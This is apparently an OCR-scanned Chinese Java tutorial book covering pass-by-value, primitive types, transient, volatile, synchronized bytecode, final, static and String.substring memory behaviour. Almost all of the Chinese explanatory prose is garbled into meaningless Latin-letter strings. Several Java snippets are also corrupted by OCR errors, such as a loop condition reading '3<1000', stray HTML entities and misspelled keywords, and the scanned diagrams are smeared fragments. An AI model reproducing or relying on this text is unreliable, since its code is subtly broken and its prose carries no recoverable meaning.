RO EBLERIBREI NS . AP EEENRIBR"XMIHAER, Frld Java
X ANBEIR Java 2EERA", XARBRE, BAEEE=URERELZEEERR
AI— 4561
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ESEMEENREEAVIRIFRIG?

BEXBERSAFURSE D, BAREUREEZEEBRI— M, AN
AR MR B2 A ERIVE?

EEEEITRET, MREREDEPNETE, BERRESNEREENE? JE
B ARSI+ ARHNERSSR0E?

HELRANRRA, ZPRUSBXMEER, RENARITRIREMH AR WEE " BIRE

BA7EOE EmposlFsk, E—TNERTEPLF ERETHA?

User hollis = new User();

t.pass(hollis);
hollis. setName("Hollis™); rhpasi(iel)

blic vot U
hollis. setGender("Male"); ;u evaid pusillsuniean) |
hollis . hollis -
B -_-._________3 0x123454
user /
$# b

user,setName("hollischuang");

> 0x123456
user /

g3

TESHEERIZREF, LIRS AL 01213450 #IENE TS . X MIRELE;
BEEGE, RNIEEIESREENRAINA.
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BBAMAFEAINT user FRUEMRNME, AIXIERAY user F=4E T = MalE?

HL, ITIEMIFER R RER T —ICIRRERIBRLA IR, th=EHRLE,
FIRBEXITHAR EMIEQNz), MEETRRI T TIRRERRE], #HEIEER, IBIRZAY
FEARZEHE T o

XAMIRE, IHMRFERIHERRSR, 2B, ERRAVHRINAE FERRIAS
HEWALENT -

iRk, Java RAEE, REIEHRISIVUESIBXREET, WNRK(IREL
SIRXER, MEXEISIRtL, EEENATNT, ESXNERLTEZNA, RAKKE
ARRR— T HENR,

BBA, WRBAIKE—T pass HEHAS:

public void pass (User user) {
user = new User () ;
user.setName ("hollischuang") ;
System.out.println ("print in pass , user is " + user);

}

EERIREH, FRAIE pass HiEH, FEF new 7— user JWxR, FHE 7AYE,
BIHERNT:

print in pass , user is User{name='hollischuang', gender='Male'}

print in main , user is User{name='Hollis', gender='Male'}

BE-—TFEMNIEPRETHA:
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User hollis = new User();

t. hollis);
hollis.sefName("Hollis"); ph-pass(helli)

ublic void User u
hollis. setGender("Male"); ; wioid s i i)
‘10”!‘: . ha”u. .
B \\"‘3 0x123¢56
user /

-3 -3

user = new User();

user.setName("hollischuang™);
user.setGender("Male"); -

hollis ———— Ox123456

[ 0x456389

user

;3

XTI, MIFRIRER T —ERRETNRRIMR, (RIBIRZZNREAIBRZ S,
HAMELELT T, thFERIBHEHRRIMN T FHbRIAIAER . XIFR, tIFEC
x, MEREEFR T, WRFERHER, MIFRINEFRREBERE TR,

PRLA, Java RRIMIRIGE, RZEKSIA, BASYERAINKREEMURNA, 8
BINREEENAHEENROBMAE, ERXERAISREFAY.

&4 4t

n$o=f

BAIANE, RIFESTHEEHITHIRERNSEEE, X MEIBAIRIEIUECRE RS .

EEFRIT, KERBEREM, ERENNAREZIENS|BEE. T8—FMEE
BRI —HZXIRIEE
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EEENS  FEERANKRERRIERETEREEHIE— 1 EIAR, NREEIEE
X, BH2EEE, SUHESIBEE,

£ Java 1, HLR@IIEZIELIAY
RREBIRAISIA.

W
e
afF
Rk

56, ITIXNTF Java WRAVEES, 15k

BAILARER, Java PRIKERBELZXNRE®E, XETEIERA.

BRE, ATILRFEBREIERRIZAY, IRk Java hREEEE, IFNIEEHNREZ
MRAVSIAE. XBREIRERAT.

B2, ®BXFEEAA Java hESIBEE.

OK, U EHMRANRIZH AR, FRIEAREEFRERER TR OP—ELRAIZEX.
LB S — MMRAYRIE


https://docs.oracle.com/javase/tutorial/java/javaOO/arguments.html
https://en.wikipedia.org/wiki/Evaluation_strategy
https://stackoverflow.com/questions/40480/is-java-pass-by-reference-or-pass-by-value
https://blog.penjee.com/passing-by-value-vs-by-reference-java-graphical/

45 > BERHERE

|
=
EE

Java g5 E

B iR

8 MERHIERE

Java 1 8 MEAIIERE D =K,

caai]
char

/RE

boolean

HEs
1.28Y: pyte. short. int. long
2258 float. double

String 22X EHEEE, E5/FEE.,

#R/ch byte. short. int. long WEESEE
Java RRYEAIEEG S byte. short. int #1 long XPUFh, FRAVHZEEHBEMNN
EIREY, ZFrl RS EEARFEEZMMIFEEIREINET SN FEHEE X,

FERANEERIRIES, 1FH=8 (bit) . java PHEEETEFSH.

FREITES 8bit ILAFTRRIEF: &/JVE: 10000000 (-128) (-2/7) &AfE:
0111111 (127) (2~7-1) BRitERR&E:
Java H, A byte KERIEVESEE-128~1277



https://blog.csdn.net/qq_23418393/article/details/57421688

HAHIRER < 46
BARIIX 1 3RE

byte: byte BB 1 1M"F1kEFME, SBEAN-128(-2"7)F 127(2"7-1), EZE%
HR9Ed R, byte ZKEIEINMER O

short: short FB 2 M FH1F0#E, SBEIR-32,768 (—2M5)F 32,767 (2M5-1),
T EVIRRIETE, short ZRERIECANMES 0, —RIBERT, EJ9 Java REHERIRE,
AILIEESRA 0.

int: int B 4 MNF11FE, SBEIN-2,147,483,648 (—2731)% 2,147,483,647 (2
N31-1), EZENIRCAIEHER, int RELFIEOAMEDR 0,

long: long A 8 MFTHFME, SBEN-9,223,372,036,854,775,808 (—2"63)
%) 9,223,372,036, 854,775,807 (263-1), FELBANAMEATE, long HAMEALE
%9 0L 5 0I, tEEHES 0.

FEREST, BEH, 5 LB —ERTEE, B, TEFTEEHERSE
HBhREE, Bimt . L™ CES:

int i = Integer.MAX VALUE;
int j = Integer.MAX VALUE;
int k=1 + 3j;
System.out.println("i (" +1i +") + 3 (" + 3 +") =k ("+k+")");

IR

AL T mt, mERRHEFASNES, RBETURR. AL, TEFF, &
s
=

RRZEENEHIEH TR, —EEEFEEE LAY,

EBNEZS, ERE— XTI UERERIE, A— B3 F( BEL)
INERERER, BERRUENEHNEBLOXISHEER . IR RERTIEE, /A
Fa% (floating—point number )



47 > BEARMEER

HEVERZRHEENER, £TEMERTHHIRNEE. flal: 4+2=2, 449
TiEFIFR9 100, 2 BTEBIRRD 010, ETESIS, ESTIE—E(100 > 010).

1RIZIASIZ 01, 1.0/2=0.5, BBA, 0.5 BTdtHIFRRMNIZ(0.1), LAULSEHE, 0.25
RIAFIZRTN 0.01, FRLA, FHARRPTERITEH)/NEETRE MR A i HIZRm %,
an 0.1, RRBEERELMERIGINERIA

wEER,  TEENEHENFRA— N BHEERE (AR ) FRURENEH

(HENPEER 2) NEHRREIN, XMRRDEEOUTEHD 10 AIRFITETE.
= aBER M Ml eXEkR: a = m x be, EEE—MXEFNRFH,

N\
(I

HANEERE—IEH b (ICHRRNER ) FBE p (BMERSMREFME) . m (BIRH) 2

fzan +d.ddd...ddd A9 p (23 ( B—2— N T 0 B b—1 Z[EREEE, BF 0Fb-1),
FSAL

WRmMPE—EIE 0 BE, mIRMEEMCH. B—EHRERA—E2RNTS
(s RF+TE - ) KERRIER, XHEmMUREIEN. e 2IEH.

1z (bit) BEEF-HEAFFETERIRMA, BFE) 32Uk 64 iz, 73RS

EAINUEE -

BREFSHAEYFERP AR 4 50 (32 bits ) , FIA “Fx7 GFaNEL

=) BBE%, AURR—EERARIEE.

LRSS EZ ~ 4, SUEEFRE(double)ERA 64 (8 FT ) REFHE—IFRE.

AT EN P FREINEESSEHHEIR NSO IUE, AA2ERE, L, TR

I~
BB ERFRECRER NS ERAIET.

i {#FHA BigDecimal 8i& Long ( BB 8% ) SkERREE,
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EXT java RIEGERRIZEIT, BlILN el KA (EFEASL
Wy, EREENHA XN BHENEERE, B2 (E3E)
K=

private transient Object[] elementData;
protected Object[] elementData;

BBA, BEFAIRE—T transient XEFHIERRMTA.

Transient

Java BEHIXET, TEBIHTT, WMRA transient FEB— LIS, HWRFMHE
i, BRIBEFNREHER . XBAOXNREFMEREE, Java B serialization I2HERI—FFA L3S
SELFIRINE . B— P ERWEFIMLRIRHER, transient BT EREFRBEERIHMHER
B, ZAM3IE transient BANEEWEFHEN . FRBERE SRFAUIRES, AJseE—
MEFRBNIFEIRR R, BIFEA serialization HlFIRIFFE .. ATHE—MEETRH
—Mak XA serialization, RJLATEIXMEEITINLXHES transient.

BRI, FEW transient BIFHRRTE, EFFICHIHREESBRRAE, FEFR
FobiE, transient TEEHIRADRE, W int BAZ 0, IRERZE null,

instanceof & Java B— 1P JoiRfERF, HUF ==, >, < FRES.

instanceof & Java BRBXEZ . ENERAENI LN REE ALY
RIS, IR[E] boolean HIEIEZEE!,



49 > Java FRYXKETF

LA sEflsE displayObjectClass() Fizski&Ezs Java instanceof XEFRE:

public static void displayObjectClass (Object o) {
if (o instanceof Vector)
System.out.println ("X % java.util.Vector ZKMISEHI") ;
else if (o instanceof ArraylList)
System.out.println ("X% & java.util.ArrayList EHJSEHI") ;
Else
System.out.println ("X% & " + o.getClass () + " FEHILHI") ;)

= hREAIBZENEY, Java
IESNTBRRARKREPFENERFE. IREEFHEE, B4 T —FRIFFLEIERE
KROXHET, tean . N . F. & &,
BAIBNET HRIENREIE. XX, XoF—TFRh—1TXEF—

R FREILE FEF, EENA AIRIE. RIERIE, LK

RN AT RS FHERERE

EXPREF, MUNE Java iBSTE, ARZIESTEEN, MEEAZEN

IENBEHEAREEN, THE CIES. C++LAKk JavaH, #E K=z, &#AJ
LIFRAPRESRENR . FTHERERNE—T JavaiB=5+FHY K=,

volatile B9FEi%

BE WL R ERAY ", R Java FRFIETHLREER
—PREF, AE, BRI, RecAREInEE. T

B ERABRE .

AR ER, IAFEEFPE— P ERERS LR UNEZER, £
IIPRRT LAY


http://47.103.216.138/archives/2550
http://47.103.216.138/archives/2637
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public class Singleton/{

private volatile static Singleton singleton;
private Singleton () {}
public static Singleton getSingleton () {
if (singleton == null) {

synchronized (Singleton.class) {

if (singleton == null) {

singleton = new Singleton();

}

}
}

return singleton;
}
}

MEA LR, B— P HRAMNEANEMHRENEXINBER, HPERS
K Imn] setR 2 L2 ERTAEEIRY singleton,.

volatile BYRIE

= PREANIBENET, HTRE
SIERAPTIRE , ERERFTRFZ @B T SREFRE . BRHATSINTSRE
7, PiFEEFEET IR

BR, X7F TE, BY LEHITEERFIINR, JVM SO IERR
E—5% lock BIZRAIES , BIXNMEFPRZENSRRGEEFF.

BEMNBESOEINGT, IREMMEREFIELZFRY, BRITHERFHSBE-
PRLEZAMERE T, ATHRIESTIERNEFRE Y, ASTHER 1713088

FEHEY: BPLIERBETIRRE DL LEERINEERGEB CEFRIERT
BITHT , SRMERRA B CEF T NAIRFHIIRIZN, MBS IEREFTIR
BENTRINE, BIERENX A EIRH TIESIRIFRII R, 2P ERNRFERFELH
EERENMEREFE.

PRLA, WNSR—1 &R PHETRRYE, AEREREZNZ G, BESHSHRER
ANEF . MEALMERVEFBRTEST T EF XM, BSIEX PN TERVENEFINE
FBCHIEET . XPIRIET—D EHaRmET, HEESITEFTEINA.


http://47.103.216.138/archives/2550
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volatile 5a] 4

A MEREIAZS N EENRUE—TREN, — MR EN TR TENE, BthEizat
BB RIESENELRIE.

24 (WEes Fotmd: Java B7F
REE T BN T EEFHETNGY, BREETEECHIIENT, KRN ITIERNE
PRF T IZEERERAZNZENTREFEREN , LN T ENFERIEEUIETER
T, MASEREEIEFNEF ARNEEZ BT ARSI S TIERNEFHNETE,
KR AT ENERNEER CHN T ERNEMNEEZ ETEIRR ST FrlA, Sasehil
ERN1WTENZENE, BRERE 2 A NER.

HIERIXT HNERIEBHNEI T, Java 89 KR T — 1 I0EE,
AR EE IR ZEAERIEET LIRS ERT, B ITHNEEERRERZR
EHMERFRIFT . Ft, STLMER KRS LAZRFRT T 2RI S

volatile SEFE

BFEREFRITRIINF R B AEBRI S RIRF AT .

Bl hotrd: BRTSINT
EHEI R LASN, BRTFRMERMAFHESEASE, CPU EIREXIBMACAIHITELFHNIT, thal
BRIBERIILRL . XFEAREF R FIER= .

1] bR T RILMRIEEWRRIA W25, B — 1R ARIINGE, BRI LAZELE
ELERHMLLS.

EBRIZ SN RIEEIZ D ERIHA TIT 2 F AR A B 25 RAM 75 AR BESR 1S LE M
RILESR, MABERIEZERMEERIFIIINFSEF B PRI TINF—.

AL IHESERE, XMFIE T LENREFRS & IRRABALEIRFHR T
XMRIETBFME. # volatile BIHMIZERVIRIE, ST RIERABIRERIT,
I ITIRFREZE: load. add. save,


http://47.103.216.138/archives/2550
http://47.103.216.138/archives/2550
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volatile 5&F%

FHRIE—MRIERA T FURY, BT, BAMERRNIT.

Bl thoimd: 22’ CPU
BEENERRNU. CPUBHERIIES, SRIEFAFBIAESEZRITEERE. S—15%
EREHER ZEFRHRT, ARERERZE, MakE CPU ERIN. FILEZ%IED
=, BTHERELEERR, HeRKERFIEO-R

FE—mBYE+, BIINE ORHiE, 1BEE, ATHRIIERTE, 2
BEFEDEES 0 , {82 volatile FliIXFANMES Z BB
IXEM,

LA, EREHRILEEFER .

FELATAE M=+ LAER kRE

1. EEERFMIMEZERNZRIE, SEEBHERRERE—IEERENTENE.
TER

2. RETFESHIMRTSEEHFSEFRETNR,
BRIA LSS, BFEEAEMSRFIERFE, W B &
@10

public class Test{
public volatile int inc = 0;
public void increase () {
inc++;
}
public static void main(String[] args) {
final Test test = new Test();
for(int i=0;i<10;i++) {
new Thread () {
public void run() {
for (int j=0;3<1000; j++)
test.increase () ;
i
}.start () ;}
while (Thread.activeCount ()>1) //{RUERTTH LR AT T
Thread.yield();
System.out.println(test.inc); }


http://47.103.216.138/archives/2618

53 > Java FEIXEF
HAIRE—T volatile FIRFMERIGIF

DI ERIEBLLRES, SMELIE 10 M2, AED3IHIT 1000 X ++HR(F, EEER
T, ERRBEERNZEZ 10000, BF, ZXAITHERE/NT 10000, XESLHE
TiEimERFIERIRR .

N ASHIXMIERVE, BBFEEIEA volatile RJLURIE inc EZ M EIZZEIRYR]
. BEFXE RIRFE

SR
BRANBIET %5 T Xy . MERNMIE,
AIURERFE BRI R . 75 HDRAEIRIES FFIEART L .
%, BAVBRE—TFNELSHTIOES), BEERT | FHATE

B2 olalle?

public class Singleton/{

private volatile static Singleton singleton;
private Singleton () {}
public static Singleton getSingleton () {
if (singleton == null) {

synchronized (Singleton.class) {

if (singleton == null) {

singleton = new Singleton () ;

}

}
}
return singleton;
}
}

=

ZZ=, RIMET—RXE: B4 synchronized, @4 volatile FM4A,
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= o PRMNBENET,
Java BEATBRRARBEPFENRFE. TIMANEFEER, BHT R
SMEFERAIREES, tan . N . F,

£ CRNERE Java BN ) B, BXEFE—ERIE:

FKEFARERFIE . TR FIEX =M R RE T LU E A E
h—MBRALTE, BEXE ‘L’ 8. B, KRESBoHREFBRIFHEER

synchronized k52h

BIAETEMRY ( FRZIE ) IRiZRY:  “IKUEsIZEFEIEN, RRAMRE/\DZ2—H

KELE. 7 WFREFRFKE, QENXBRFME, ARREERE, 2T
AT LAEAMNEZ R LAARERAZ, MeEAXNXBFERFER 7 RSH
o
BA, RXHMES BF, FENA AIRE .
AIRIE, LA TR EREFE TS FIERENS .
synchronized R9F;%

2 Java RIER— P HAEFIXET . TB2EMITAL, 23IR[EE

FEMEESABER, Bk, BERLMEIm S At AT LU IR LASIR o
/ * %
* @author Hollis 18/08/04.
*/
public class SynchronizedDemo {
/ /T

public synchronized void doSth () {
System.out.println ("Hello World") ;
}

A ZAN TN
public void doSthl () {
synchronized (SynchronizedDemo.class) {
System.out.println ("Hello World") ;
}


http://www.hollischuang.com/archives/2550

55 > Java By

# synchronized BIRRIRIBRE 5%, FEE—EE, REEWBNEENE.

synchronized AICHIRIE

synchronized, & Java FRAFRAFEER FERRSHAN—MEEZRIXET
SHVEERE—NH=ZRZRER I ERESW— N2 02T, FA 1T A HER
synchronized XEFXIEIHEXISRINE

ERENERZ%Z (— ) ——Synchronized BYSCH EIE IR /MBI HSCI SR,
RTREFLRAITEN, XBBEHRENE—T, EMANRBTIEERIFIE.

BAIXS EEACIRIT IR, LSRN TRE:

public synchronized void doSth{();

descriptor: ()V

flags: ACC_PUBLIC, ACC SYNCHRONIZED

Code:

stack=2, locals=1, args size=l
0: getstatic #2 // Field java/lang/System.out:Ljava/
io/PrintStream;

3: ldc #3 // String Hello World
5: invokevirtual #4 // Method java/io/PrintStream.print

In: (Ljava/lang/String;)V
8: return
public void doSthl () ;

descriptor: ()V

flags: ACC_PUBLIC

Code:

stack=2, locals=3, args size=l
0: ldc #5 // class com/hollis/SynchronizedTest
2: dup
3: astore 1
4: monitorenter
5: getstatic #2 // Field java/lang/System.out:Ljava/
io/PrintStream;

8: ldc #3 // String Hello World
10: invokevirtual #4 // Method java/io/PrintStream.print

1n: (Ljava/lang/String;)V
13: aload 1
14: monitorexit
15: goto 23
18: astore 2
19: aload 1
20: monitorexit
21: aload 2
22: athrow
23: return


http://www.hollischuang.com/archives/1883
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BERmEEEABITIUEL: MTERELE, JVM XA ()
ICFFREIREL . WFEFER JVM KA . (MRS
SSMEE

= hEXTELTTERSBR

SSMRIRRIN R, FeENFERPIANT

HEFRNEL 2R REBENEELHhEE— iy
To SENMELEBNAENTZNIN R, SKRERSE R UIES

BRE, WHEBLREEIRM, RRFRITEE, DERTZEBRRam=sit. X
INREMEFERIERNITITIE, SEATERG R E . B5EE02, IR
ERERTIIRED, RETRE, FELZANFREMEZEE, IBAERERIRETTE
SMNELZ BRI B DI o

BLRBRER 0 MPIESEIR. FTLUEHRIT
EERANIN, 1T BRI, BINREFE—TC

REWBURHBITT RS . RFMERNXRAVZITEEEN 0, H—PEERREBM (1T

) 5, IZIHEEEIETN 1, SE—ERERREZNRIMAEHE, It
HRBREE. SE— MRS (1T <) IR, HE=EBEER. 3
THEEE O RIRHER . SUSHIRN, Efthei2@ErLEREH.

Tt =2 U . HWEET
Monitor LAY, & Java E#H(HotSpot)d, Monitor EEF C++3XWAY, A
ObjectMonitor LR,

ObjectMonitor Z£HZME T LN AE, A . . . . %,

IngiAvEHE, =AM objectMonitor BY enter 757%, FRSIRIRHESIARA exit
Bix. (FF Monitor i#R )
synchronized 5&RF4%

RFHERIE— MR TR, B2EHAITRR, BEAMEIHAIT.


https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-2.html
http://www.hollischuang.com/archives/2030

57 > Java RyRE=E

Bl thoimd: 22’ CPU
BENERRU. CPUBNERIIES, SREFABIIBESEZRITEEARE. S—15%
RIS RZ B GRT, ERERERZE, MiakE CPU EBI. PRLIEZSXIES
=T, BFNERELREERR, ekERFIETR,

£ Java i, ATHRIEEFE, BRETHEITSENFHBRES i
o BIET, NMAEE, XMINFPBES, £ Java P NAIXEFHE

o

B il 5, BILAMRIERR (ZImRIIBTER)
—IJERBER—NMEARINE, EBRERZRT, TAREMEERRE, Eit, £ Java f
BILAER RARIETTEFAUIB RN AR ER R F1EAY

HRE 1 T ERIEMR , X3 Monitor #7084, MNBIEEME&IZT
RIRISH, PRIFEAE 1 Ea@Rel. BIEERITEREF, RTEMERE, tbin CPU BakRFA
5, HRE 177 CPU, BR, tFARBEHTHMN. BT ISR EA

A9, T EJERERREERME SIRINE, TRSUEMITHIE . BRIFEBEHRITR.
XERIE T R FE .

synchronized SaT 1%

A MEREIAZS N EENUE—TREN, — MR BN TRINTENE, BthEizat
BB RIESENELRIE.

24 (WEes o Fotmd: Java Wy
FRINE T BT EMFHEETAEF, BREBLAEECNIIERG, LE2NTER
FHR7F T ZEREPERINTENETRFEINEN , RN TSNP EIRIFEBUIETIE
RNFEFIHRT, MAREEREEEREF . FNENEREZ R EERE BRI S TEREFEFE
£, HiERTENEEIFEER SN TERFNEFZ R TEERLHT. LA, Bojse
HIERE 1 T ENZEE, BREKRE 2 A IER.

BIEFANNEE, IBIRORED, EFRNITIISINM, WiTTmE
ST MATERETLE, B—FRNRXER: X— 1P REMRUZR], BRSTELL
TEELOEFR . XIFERIE, SRR LULEERIENERIE.

PALEY

prd


http://www.hollischuang.com/archives/2618
http://www.hollischuang.com/archives/2550
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FRLA, synchronized X#F8iFa0x%, HEREGIWHEA.

synchronized 5SEF4%

BFEREFRITRIINF R B AEBRI S RIRF AT .

A= o MR BRTSIN
THNERLSN, BTFOESRMAFIESERSE, CPU XHsEHMNBIRTELFEHIT,
il load—>add—>save BRJRERILILRL load—>save—>add . XFE T aEFEE F 14D

X o

XEFEIEHE, BLEFE IS ERGIEE AT, iR,
ToixE e FIREEIRY R .

BA, PARES M T BFIEFRIEYE?

XHEBEEFEIHST B—T T, Java BFRHPRANEGRFUHRIAREI—DIE:
MREARLIEAME, FIEIRFERRAEFH . WRE—TELETURS—1HIE, 8
BIFERTFRY.

DL EXBIEHE CRANIERE Java EiU ) FRIRS, (EREAIERR? BSBEHRE
IFARIAERE . XEBEIRBT B—T, XHESLH IBEXBX.

IBEXHERE: TEEAEHRF (FESILGERATRSHTE) , 8
LREEFIRNITERBAERNE . RiFRMLERTICWNTMLML, HBRRET
15X

XEARS IEXFARITT, BRIEHE, 15 MARIE T 5%
Eh, ELEARRE —ENREIRY, MRABRERIIGIERENET TIXMEN, BRAFALA
INHBREIEEFEERINFHRITR . S, L DIRREERRY, RRIRNTMKOIXF
BHRIFI.

PRLAE, BT BRI, E—REREERE—%ENT . BPABH
EBREAENITH. T, ATLURIEESRE.


http://www.hollischuang.com/archives/2550
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synchronized S84t

BIENR T RRIE. REBURNHAREZNIER. 2—MREFABRIX
EC N

SCEEE) Monitor SLERAY, fENISEATSIER objectMonitor BY
ik, ﬁcpuﬁ’]ﬂﬂb&:ﬂ%ﬁﬁ exit 3ik. T|LE, FEHE JDK1.6 ZHi, synchronized
AL A =E#IAA ObjectMonitor B9 N exit, XMEHEIRZ HEERIN.

FRLA, £ JDK1.6 REHEIXI T TIRZSAIUE , HMEIEERM, R, $UHkR,
EMNEENEH, PUHE(BIEE 1.4 38, RTIRARIZXARY, jdk1.6 2ROAFFERY),
XERMFE RN T ELIEZ HESHMAILZ=EE | BRSSI

AT Ehei. SHECRETERT LIS E:

b, XTF KEF, INETHAZE. RE. URIMEUFRIERNRF

P IRFIEAAT D, EREY RAYE T 7 S ERRIRR KR EE . FERISHE 45
K LA A0 HX3I%F.

final & Java FRI—1XEF, BEIFRTHIR “‘XEDBLEEND -
£/ final AILIEX @ TE. & %Ko

final =2

INRRBZEIREN final, NAEEEX final ZERVE(ERERE).

class Test{
final String name = "Hollis";

}

—Bfinal ZBEWENZE, BIEHTIENA.


http://www.hollischuang.com/archives/2344
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final 7%

IR T5EFIRS final, WABEBEE

class Parent/{
final void name () {
System.out.println ("Hollis") ;

HEATENX LA ERA9FE900%, TiEBEE name i, SHmIFELEK,
final 3

INSRIEEDI—1 KRV final, MARBEHEE .

final class Parent {

}

LA ESERBEm AR |

static Fx ‘88" HUER, AXREITRRTENKRRITIE, WAILUEMERE static
(AEIEIEN

BAIR static TRZEARS, —PEFRIFHFSEE, FTETEAINREEZLN .
NEFSTESHBRINRIAINS, RititiIrELiEREkE.

w, HSREFEH final XEREIN, FREBRARIRIHLKFIERISISRETER. 0
TEARWIAEW, LR “RK3. X8R IHIKER.

G|
27
7

SREF
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//static variable example
private static int count;

public static String str;

LEOYSPES

SHSEE—, BHSHERETRMARLA,

— RS R RBHERRSSTENERRSH L BERSHIBERTELEMAYSE
{ERMAEZECIELA, FIa0: Collections class(ZRER).

Java B9EEEEF
ShHi%o

2

REBEWEHEITIE. main()FiERE Java iEFAOR, 25

//static method example
public static void setCount (int count) {
if (count &gt; 0)

StaticExample.count = count;

//static util method

public static int addInts(int i, int...Jjs){
int sum=i;
for(int x : js) sumt=x;
return sum;

}

M Java8 LA EIRAFHAB I LB OIS SHIET .

FSAUIEIR

Java B S E—HIs S ERELHMIHMZEERNFFH Java ClassLoader #117,

FHCIRER TR ESEE . ASIHMRERTEERRHIMREIEFFSEIR,

Java FRIFERFSIRPERIFFISEE . — M EFEILBESIHETR, REXUFR
B4R, BERIEZEEHRAAT, FITX.
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Static{
//can be used to initialize resources when class is loaded
System.out.println (&quot;StaticExample static blocké&quot;) ;
//can access only static variables and methods
str=&quot; Test&quot;;
setCount (2) ;
}

LEIOS

BFA

Java AILIREFERHFSE, BEFSETERTHRENIE.

CIMEXRIERASEMINESR—F, REREANTETHEIE.

[B3zittit: hitps://zhuanlan.zhihu.com/p/26819685

const

const & Java B X#Ex, BAFEEY ER, AAR final B, 8,

62
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String

FRIRRIA AT

EX— 1R

String s = "abcd";

SHEsRTE

S PRFT string JRAISIAB. TEAISKTLIERS “FHEE5IE7 .

String s2 = s;

3

PRezAE S

PREATS

s2 RF THERRISIRE, EAMMNAERR— MR,
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FRIERIGERE

s = s.concat ("ef");

[ —

PREIAES

X2 SR E-F

s PRENZE— T EHREIZELRA string IKRAISIA.

—B— string WRERF () PREIZ LR, MHTERIEN. SEIE,
String ZKRIFE TS IEENIRBREFHFHREABRIE, #HEERE T —MHIINR.

WMRRBE—NAEXNZRFE, MizF StringBuffer k& StringBuilder, &R
SBEASHEREELIRE E, EASRKLEEKLEEH string JWRTLOIE LXK

JDK 6 #1 JDK 7 5 substring HORIE M X5

String & Java F— 1M HUREMBE, B—MHAARARBELERZME ., ME,
String LRMIXPEESENMIRS . String BIREFXE, BULAKER, BYAX
AXKER. SEKENEBR subString iR —MERERRY L, mMERBS subString 88
REZmitE,

substring(int beginindex, int endindex) FEEARRIRAR JDK FHISZIE ARG
B9, TREMMINX BB LAESBMREFRIERM . AEEREEN, FXHA subsiring )k
substring(int beginindex, int endindex)fAi%x.



65 > String

substring() B9/EF

B EEEFRFEFIREIE[beginindex,
endindex—1JEEIRMIAS .

String x = "abcdef";
x = x.substring (1, 3) ;
System.out.println(x);

AR

A substring)IF&RETHA?

{RAJRERNE, 9 x B2FFZRY, AfERA X x IERIHE, ERS0
— N EHRIFFF !

The heap

String object

String object

A, XTEFERREEMINERREFEENES. BHATE jdk6 1 jdk7 FiER
substring Rt & 4RIEBFHA—1*.

JDK 6 #f substring

String @B I FHAMAILIMA. £jdk 6 F, String XEE=THRETE:

: : o M RIBREEEIENFFTHE, HAENE—
MIERS IR FHFEPEERIFFF T
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A substring HERIE R, SEIE—

#HY string X9, {BEX string BYET?
SRIEEEEFRIE— N FRAFEEE. ]

XFNTERFRE count 1 offset BIEEARRERI.

The heap

char[] value
int count

int offset

String object

char(] value
int count

int offset

String object

TEHRIEA LREMSH Java RIBHAKEAD:

//JDK 6

String (int offset, int count, char valuel])
this.value = value;

{

this.offset = offset;

this.count = count;

}

public String substring (int beginIndex, int endIndex) {
//check boundary

}

return new String(offset + beginIndex, endIndex - beginIndex, value)

JDK 6 #RY substring SERIE)E

MRFE—MREBRIAFFEE, BERISRER substring i
REN—R. XS IHREEE, FNEHFENRR—INRFHFY, BRRA5|IATE
PNFEFER (AAX M ERRINFRME—BEERSIA, FILITEREN, MeIseSHREtt

). £IDK 64, —RRAUTHIRBRZITE, RIEESTHEEN — M IFRFEHF
S|,

HATHIEIRIRTRIR R
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X = x.substring(x, y) + ""

X7F JDK 6 7 subString AIfFRAESSEMAFHECEWEHICRA Java Bug
Database H:

JDK-6294060 : Use of substring() causes memory leak

Type: Bug Priority: P4 Submitted: 2005-07-05
Component: core-libs Status: Closed Updated: 2011-02-16
Sub-Component: java.lang Resolution: Duplicate Resolved: 2005-07-26
Affected Version: 5.0 08S: windows_xp

CPU: x86

Related Reports

Duplicate : JDK-4513622 - (str) keeping a substring of a field prevents GC for object

Description

FULL PRODUCT VERSION :

java version “1.5.0_02"

Java(TV) 2 Runtime Environment, Standard Edition (puild 1.5.0_02-b03)
Java HotSpot(TM) Client VM (build 1.5.0_02-b02, mixed mode, sharing)

ADDITIONAL OS VERSION INFORMATION :
Microsoft Windows XP [Version 5.1.2600)

A DESCRIPTION OF THE PROBLEM :
The bug with 1D 4637640 though marked as fixed for JOK 1.5 is still present in the JDK 1.5 releases.

By the way bug 4637640 was never a duplicate of bug 4546734! They're only partially related and maybe 4546734 was fixed but 4637640 is still there in JDK 1.5 release.

Since this is not a functional bug is not possible to provide a unit

test. It's a memnory leaking behaviour which can only be observed using
a profiler (| used the new Netbeans Profiler) or similar memery
monitoring tools.

| my opinion everything necessary is said in bug report 4637640: the

WFHE: EitENRIZEH, RFtRIER TR ERIENIEFREERNEERBE
RiREF. AFEtRFIHERFEEMIELAEL, MENREFRSRERRATE, BTR
HEIR, SEERBIZBRREFEZRIMAE TINZRRFRES], NMER T RFRIRE.

JDK 7 #f) substring

TERFIRYERR, 7 jdk 7 PEEIER, £ jdk 7 F, substring BiESEEREFF
BIE— N rRYEE .
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The heap

char[] value
int count

int offset

String object

char[] value

int count

int offset

String object

Java FR3 PR FIXH o HIER(LABNT:

//JDK 7

public String(char value[], int offset, int count) {
//check boundary

this.value = Arrays.copyOfRange (value, offset, offset + count);
}

public String substring(int beginIndex, int endIndex) {
//check boundary

int subLen = endIndex - beginIndex;

return new String(value, beginIndex, subLen) ;

}

LA ER JDK 7 89 subString 735%, EfEA new String 81 T — N8, Bt
SIEFFTERAIS B . WA T AEHE -,

FRLA, SNSRARRVEFIMEHERRY JDK BRA/NF 1.7, H{R(ER String AY subString
BiER—EEEE, BRRFTHEE.
replaceFirst. replaceAll. replace X%l

replace. replaceAll 1 replaceFirst & Java & ARNER=5F0E%, el 5EE
ENZ:
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replace(CharSequence target, CharSequence replacement) , B
replacement ZiRFrEH target, M NESEHERFETER.

replaceAll(String regex, String replacement) , A replacement &iFrERI

regex ILECIR, regex REBERNMNENZFRIEXT, replacement FFFE,

replaceFirst(String regex, String replacement) , EA%0 replaceAll #EE, X
AR RBWE — LI,

BILAER, e replaceAll LAK replaceFirst EFEMNFRIATEFRAY, M replace
ERFRAL TR

replaceAll #1 replaceFirst WX B EEREIAIANB ARG, replaceAll @&iEFrEIL
BoR9==7F, 1 replaceFirst N E—X HIMNF .

FRiEBIF

LI BlF&%:

1. replaceAll() BIRFSENRIFIBEXYF

/ /30T (D

Pattern pattern = Pattern.compile ("IENFRIEX") ;

Matcher matcher = pattern.matcher ("IEN|FiZE Hello World, IENFKEXI Hello World
") ;

/B — AN IR R

System.out.println (matcher.replaceAll ("Java"));

2. replaceFirst() BE— 1 RHFSENRETE

